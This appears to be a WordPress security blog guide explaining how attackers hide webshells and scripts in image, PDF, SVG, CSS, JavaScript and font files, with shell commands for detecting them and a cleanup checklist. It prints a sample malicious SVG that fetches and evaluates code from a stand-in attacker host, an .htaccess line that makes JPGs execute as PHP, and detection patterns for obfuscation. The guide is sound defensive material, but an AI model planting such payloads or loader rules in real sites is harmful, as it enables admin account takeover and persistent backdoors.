Can a JPG, PNG, GIF, SVG, PDF, or CSS File Contain Malware? The WordPress File-Disguise Guide

If your scanner just flagged a strange file inside your WordPress install — something like w-feedebbbbc.gif, toggige-arrow.jpg, favico.ico, a random .pdf in /wp-content/uploads/, or a CSS file that suddenly contains JavaScript — you are not looking at a normal media-library glitch. You are looking at a deliberate disguise.

Across 4,500+ cleanups, the pattern is consistent: attackers pick file extensions that site owners trust on sight. Most people will inspect a .php file in wp-content that does not belong. Almost nobody opens a .gif in a text editor. That asymmetry is the entire attack surface.

This guide is the broad reference: every file type attackers reuse to hide malware on a WordPress site, what the disguise actually does, and how to verify it before you start deleting things. For the deeper technical breakdowns of specific cases, the related guides are linked inline.

Why this trick works on WordPress specifically

A web server does not run a file because of its extension. It runs a file because the server has been told to run it. On a standard Apache or LiteSpeed WordPress setup, only .php files get handed to the PHP interpreter. Everything else — images, PDFs, stylesheets — gets served as static content.

Attackers need to break that rule to weaponize a disguised file. They do it in three reliable ways:

1. Modify .htaccess to redefine which extensions get parsed as PHP. A single line like AddType application/x-httpd-php .jpg turns every JPG in that directory into an executable script.
2. Use a PHP include() from a legitimate-looking file. A modified core file, theme file, or mu-plugin includes the fake image. The PHP code inside the image then executes in the context of the including file. The extension is irrelevant once PHP has the contents in memory.
3. Abuse the browser, not the server. SVG and HTML files render in the user’s browser, which speaks JavaScript natively. No server-side trickery needed — the payload runs as soon as an admin previews the upload.

So when you see a suspicious non-PHP file, the diagnostic question is never just “does this file contain code?” It is two questions: does the file contain code, and is something on this server set up to execute it? Both need to be true for the backdoor to actually fire.

Image files: JPG, PNG, GIF, ICO, WebP

This is the most common disguise category by a wide margin. The attacker is not exploiting an image-parsing vulnerability — the file simply is not an image. It is a PHP webshell with an image extension glued on.

What you typically see

• Files in /wp-content/uploads/ with random or odd names: xit-3x.gif, logo_new.jpg, social-icon.png, favico.ico.
• Files inside core directories where they have no business existing — for example a random .gif in /wp-includes/images/.
• An .htaccess file sitting next to the suspicious image inside an uploads subfolder. That is the loader.
• The file opens as garbage or readable code in a text editor, not as a picture in a browser.

How to verify

Run these on the server (SSH, or your hosting file manager’s “view” function):

# Find suspicious image files that contain PHP
grep -rEn "<\?php|eval\(|base64_decode|gzinflate|str_rot13" \
  --include="*.jpg" --include="*.jpeg" --include="*.png" \
  --include="*.gif" --include="*.ico" --include="*.webp" \
  /path/to/wp-content/uploads/

# Find .htaccess files inside uploads (there should not be any)
find /path/to/wp-content/uploads/ -name ".htaccess"

# Check what an image file actually is
file /path/to/wp-content/uploads/suspicious.jpg

The file command reads the file’s magic bytes, not its name. A real JPG returns JPEG image data. A disguised webshell returns PHP script or ASCII text. That single command settles most cases.

For the deeper case studies, see I Found a Hidden Backdoor in a Client’s WordPress Site and the cleanup-from-suspended-account writeup at Removing Hidden Executable Files After a Bluehost Suspension.

SVG files: a different problem entirely

SVG looks like an image format, but it is XML. That means an SVG file can legitimately contain <script> tags, onload attributes, and inline JavaScript. Browsers will execute that JavaScript when the SVG renders — including when a WordPress admin clicks the file in the Media Library to preview it.

This is not theoretical. Multiple 2025 and 2026 CVEs covered exactly this pattern in popular WordPress plugins, including form builders that accepted SVG uploads without sanitization. An unauthenticated attacker uploads a weaponized SVG, an admin opens the form submission, and the attacker’s JavaScript runs in the admin’s authenticated browser session — full account takeover.

What a malicious SVG looks like

<?xml version="1.0" standalone="no"?>
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)">
  <script type="text/javascript">
    // fetches a remote payload, exfiltrates cookies, creates an admin user
    fetch('https://attacker[.]example/x.js').then(r=>r.text()).then(eval);
  </script>
</svg>

How to detect

# Any SVG in uploads containing script tags or event handlers is suspicious
grep -rliE "<script|onload=|onclick=|onerror=|javascript:" \
  --include="*.svg" /path/to/wp-content/uploads/

If you do not actively need SVG uploads, disable them. Most sites do not. If you do need them, sanitize on upload with a library that strips scripts and event handlers — do not rely on MIME-type checks alone, because the file’s reported MIME type is set by the uploader and is trivially spoofed.

PDF files used as webshells

This one surprises people. A PDF in /wp-content/uploads/ is supposed to be a downloadable document. But on a hacked site, a .pdf file is sometimes just a PHP webshell with a renamed extension, loaded the same way the image trick works — via .htaccess rewrite or PHP include().

There is a separate category of polyglot PDF malware, where the file is a valid PDF and a valid PHP archive or HTML application at the same time. These exist, but on WordPress sites the simpler trick — rename a PHP shell as .pdf — is far more common because the attacker controls the server config they need.

# Real PDFs start with %PDF-. Anything else is the disguise.
for f in /path/to/wp-content/uploads/**/*.pdf; do
  head -c 5 "$f" | grep -q "%PDF-" || echo "FAKE PDF: $f"
done

# Or grep for PHP inside any .pdf file
grep -rlE "<\?php|eval\(|base64_decode" --include="*.pdf" \
  /path/to/wp-content/uploads/

CSS and JavaScript files: injected, not disguised

CSS and JS files work differently from the image and PDF tricks. Nobody renames a PHP shell as style.css, because CSS does not execute on the server. Instead, attackers inject existing CSS and JS files with malicious content.

CSS injection patterns

CSS files cannot run JavaScript on their own. But a compromised CSS file can carry obfuscated JavaScript inside a comment block, which a separate PHP file then reads, decodes, and outputs into the page. The CSS itself is the storage; the execution happens elsewhere. Credit-card skimmers targeting WooCommerce checkout pages have used this pattern repeatedly — see WooCommerce Fake Payment Form Skimmer Fix.

A second CSS pattern is plain SEO spam: hidden links and text injected into theme CSS to keep them invisible to visitors but visible to Google. Covered in Hidden Links Malware.

JavaScript injection patterns

JavaScript injection is the highest-traffic attack on WordPress today. The attacker prepends or appends obfuscated JavaScript to every .js file in the install — including core files like wp-includes/js/jquery/jquery.min.js. The injected code runs on every page that loads jQuery, which is almost every page. It redirects mobile users, pops fake CAPTCHA prompts, or steals form data.

# Find JS files that have been touched recently AND contain obvious obfuscation
grep -rlE "String\.fromCharCode|atob\(|unescape\(|eval\(function" \
  --include="*.js" /path/to/wordpress/

# Compare WordPress core JS files against a clean copy of the same version
diff -r /path/to/wordpress/wp-includes/js /path/to/clean-wp/wp-includes/js

Deeper walkthroughs of these JS-injection campaigns: All JavaScript Files Infected, JavaScript Redirect Malware Detection, and Dangerous JavaScript Malware Targeting WordPress.

Less obvious disguises: .txt, .log, .ini, fonts, and “license” files

Once the .htaccess or include() loader is in place, the disguised payload can have any extension. In real cleanups, I have removed PHP webshells named:

• error_log or debug.log in wp-content/ — site owners ignore log files
• readme.txt dropped into plugin directories
• license.txt in fake plugins (see Comprehensive List of Known Fake and Malicious WordPress Plugins)
• .ini and .htaccess.bak files in random directories
• fake font files like icons.woff or fa-brands.ttf containing PHP

The defense is the same in every case: do not trust the extension. Trust the contents and the loader.

The universal diagnostic playbook

Regardless of which file type is involved, the safe cleanup follows the same five steps. Skipping any of them is how reinfections happen.

1. Back up the current (infected) state first. You need a reference point if anything goes wrong during cleanup, and the infected backup is also forensic evidence.
2. Find the loader before touching the payload. The disguised file does nothing on its own. Search for the .htaccess rewrite, the modified core PHP file, or the include() statement that fires it. Remove or replace that first.
3. Replace infected core files with clean copies from the exact same WordPress version. Download a fresh ZIP from wordpress.org and overwrite wp-admin/ and wp-includes/ over SFTP. Never trust an in-dashboard “reinstall” on a compromised site.
4. Remove the disguised payloads and check for siblings. Attackers rarely drop one file. Look at the timestamps of the file you found and search for everything else modified within the same window.
5. Rotate every credential and salt. Admin passwords, hosting/cPanel, FTP/SFTP, database, and the secret keys in wp-config.php. If you skip this and the attacker still has a valid login or saved session, the same infection comes back within days. The deeper reasons this happens are in Why WordPress Malware Keeps Coming Back.

For a full post-cleanup checklist, see What to Do After Fixing a Hacked WordPress Site. For the broader manual-detection workflow, see How to Detect WordPress Malware.

What I check first on a real cleanup

When a site comes in with a “weird file” alert from Wordfence, Sucuri, or the hosting scanner, this is the order I work in — built from 4,500+ cleanups across every major host:

1. Pull a list of every file modified in the last 30 days, sorted by date. Disguised files almost always cluster around the initial compromise date.
2. Run file against every flagged “image” or “document” to confirm what it actually is.
3. Search .htaccess at every level for AddType, AddHandler, SetHandler, or RewriteRule entries that touch image or document extensions.
4. Diff wp-admin/ and wp-includes/ against a clean copy of the same WordPress version. Any modified file inside core is the loader until proven otherwise.
5. Scan the database for injected options, especially in wp_options rows with auto-loaded values, and in wp_users for ghost admin accounts (covered in Hidden Admin Users).

FAQ

Can a JPG, PNG, or GIF file actually contain a virus?

On a WordPress server, “yes” in a specific sense: attackers rename PHP webshells with image extensions and then configure the server to execute them. The file is not really an image. There is also a narrower class of attacks where genuine images carry payloads in their EXIF metadata, but on hacked WordPress sites the renamed-webshell pattern is far more common.

Are SVG files safe to allow on a WordPress site?

Not by default. SVG is XML and supports inline JavaScript and event handlers. Unsanitized SVG uploads have been the root cause of multiple 2025 stored-XSS CVEs in popular WordPress plugins. If you allow SVGs, use a plugin that sanitizes them on upload — do not rely on MIME-type checks.

Why is there a PDF in my uploads folder that I never created?

On a hacked site, an unexplained PDF is often a renamed PHP webshell, especially if it sits next to an .htaccess file or has random characters in the filename. Check the first five bytes of the file — real PDFs start with %PDF-. Anything else is the disguise.

Should I just delete the suspicious file?

Not as your only step. The disguised file is the payload, not the entry point. If you delete it without finding the modified core file, the .htaccess rule, or the credential the attacker used to upload it, the same file or a renamed version reappears within hours. Always find and remove the loader first.

Will a security plugin catch these disguised files?

Sometimes. Wordfence and Sucuri’s scanners flag many of these patterns, but obfuscated payloads, brand-new variants, and files in unusual directories often slip past automated scanning. Scanner alerts are a strong signal that something is wrong, but a clean scan does not mean a clean site.

How did the attacker upload these files in the first place?

Usually one of three routes: a known plugin or theme vulnerability that allows arbitrary file upload, stolen admin credentials, or a leftover backdoor from a prior compromise that was never fully cleaned. Hardening alone will not remove an existing backdoor — it has to be found and removed manually.

When to bring someone in

If your scanner is flagging files you do not understand, if you have deleted suspicious files and they keep coming back, or if your host has suspended the account, this is the point where a proper manual cleanup pays for itself in hours rather than weeks.

I have personally cleaned 4,500+ hacked WordPress sites and seen every variant of this attack across SiteGround, Bluehost, Hostinger, Kinsta, and shared hosts most people have never heard of. If you want it handled, the service page is WordPress Malware Removal and you can reach me directly through Hire Me.

Last updated: May 23, 2026 by MD Pabel, WordPress Security Specialist — 4,500+ sites cleaned.